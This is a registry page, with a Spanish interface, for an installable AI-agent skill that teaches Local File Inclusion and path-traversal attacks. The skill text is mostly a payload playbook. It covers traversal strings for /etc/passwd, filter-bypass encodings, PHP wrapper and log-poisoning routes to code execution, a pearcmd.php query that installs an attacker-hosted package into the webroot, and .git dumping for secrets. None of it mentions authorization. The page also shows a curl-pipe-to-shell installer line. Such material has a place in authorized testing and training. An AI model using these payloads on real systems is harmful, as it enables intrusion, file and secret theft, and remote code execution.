web-lfi-path-traversal
Local File Inclusion / path traversal → read files, sometimes RCE. Load when a param names a file/path/template/page: ?file=, ?page=, ?template=, ?download=, ?lang=, or path segments. Signals: filenames in params, "include", download endpoints, `../` filtered, `.php?page=`.
v2026.10.14-ee0e0c53 instalaciones+3 en 7 días27 EstrellasMITsincronizado hace 22 horas
Instalar
¿Aún no tienes la CLI de NotHoly? Instálala primero.
$ curl -fsSL https://notholy.com/install.sh | sh$ notholy skills install noorqureshi/web-lfi-path-traversalEscribe en ~/.notholy/skills después de comprobar la firma y el SHA-256.
FirmaFirmado, ed25519
Paquete0865eb91…43298704
0865eb9147a2…8769432987041 archivo · 1.6 KBEscaneoBajosin hallazgos
Fuentegithub.com/NoorQureshi/security-skills/tree/main/skills/web/web-lfi-path-traversal@ee0e0c5
Esta entrada todavía no está escrita en tu idioma, así que aparece en English.
En esta página
When it applies
A parameter or path segment controls which file the server reads/includes. Path traversal reads arbitrary files; LFI (include) can execute them → RCE.
Why it works
The app builds a filesystem path from user input without normalizing/constraining it, so ../
sequences escape the intended directory. If the value is included (PHP), included content is executed.
Method
- Read a canary:
?file=/etc/passwd, then traversal?file=../../../../etc/passwd; on Windows..\..\..\windows\win.ini. - Defeat filters: URL-encode
..%2f, double..%252f,....//(strip-once), overlong%c0%af, null%00(old PHP), absolute paths, nested..... - PHP wrappers → source/RCE:
php://filter/convert.base64-encode/resource=index.php(read source),data:///expect://, and log poisoning (write PHP into a log via User-Agent, then include the log) or session//proc/self/environinclusion for RCE. - PEAR
pearcmd.phpLFI→RCE (very common on PHP hosts withregister_argc_argv=Onand PEAR installed): include/usr/local/lib/php/pearcmd.phpand pass args via the query string, e.g.?file=/usr/local/lib/php/pearcmd.php&+install+--installroot=/var/www/html+<attacker.tgz-URL>to write attacker-controlled content into the webroot, then request it. The trick is thatregister_argc_argvletspearcmdreadargvfrom the URL query — no upload needed. - Enumerate targets: config files, keys, app source, history files, and an exposed
/.git/(grab.git/HEAD/config→ dump the repo →git log -pfor deleted secrets);ffufa LFI wordlist.
Gotchas
- A forced extension (
include $p.".php") blocks arbitrary read → try wrappers or null byte (old PHP). - Traversal (read-only) vs LFI (include→exec) are different ceilings — check whether output is executed.
- Read the app's own source via
php://filterto find the next bug faster.
Verify success
Contents of a file outside the intended directory returned (e.g. /etc/passwd, app config/
source), or code execution via a wrapper/log-poisoning include.
References
PortSwigger path-traversal labs; LFI-to-RCE cheat sheets; OWASP path traversal.
Archivos de esta versión
- SKILL.md2.7 KB
Permisos
| Permiso | Declarado | Hallado en el escaneo |
|---|---|---|
| Lee archivos | No | No |
| Escribe archivos | No | No |
| Ejecuta comandos de shell | No | No |
| Usa la red | No | No |
| Usa conectores | No | No |
| Controla un navegador | No | No |
Hallazgos del escaneo
Revisado el 13 nov 2026
El escaneo no encontró nada que señalar en esta versión.
Un escaneo limpio baja el riesgo, pero no prueba que el paquete sea seguro. Lee lo que instalas.
| Versión | Publicada | Commit | SHA-256 | Firma | Cambio de permisos |
|---|---|---|---|---|---|
| v2026.10.14-ee0e0c5 | 13 nov 2026 | ee0e0c5 | 0865eb91 | Firmada | – |
Más de NoorQureshi
Todo de este publicadorMás en Web y bug bounty
Ver la categoría- src-hunterzhaoxuya520/src-hunter5
- owasp-top10-analysissecurityskills/owasp-top10-analysis5
- testing-for-xml-injection-vulnerabilitiesmukul975/testing-for-xml-injection-vulnerabilities5
- offensive-xsssnailsploit/offensive-xss5
- offensive-rcesnailsploit/offensive-rce5
- source-review-techniqueaeondave/source-review-technique5
Pregunta todo lo que tu alcance permite.
Crea la cuenta, añade créditos y haz la primera pregunta en el chat o en la terminal.
- 1/3
Crea la cuenta
Individual o empresa. Puedes pasar a empresa después sin perder saldo ni claves.
IndividualEmpresa - 2/3
Añade créditos
Con tarjeta. Pagas por token, sin suscripción.
$5.00recarga mínima - 3/3
Pregunta
En el chat, o instala el CLI y ejecuta notholy login en tu terminal.
$ notholy login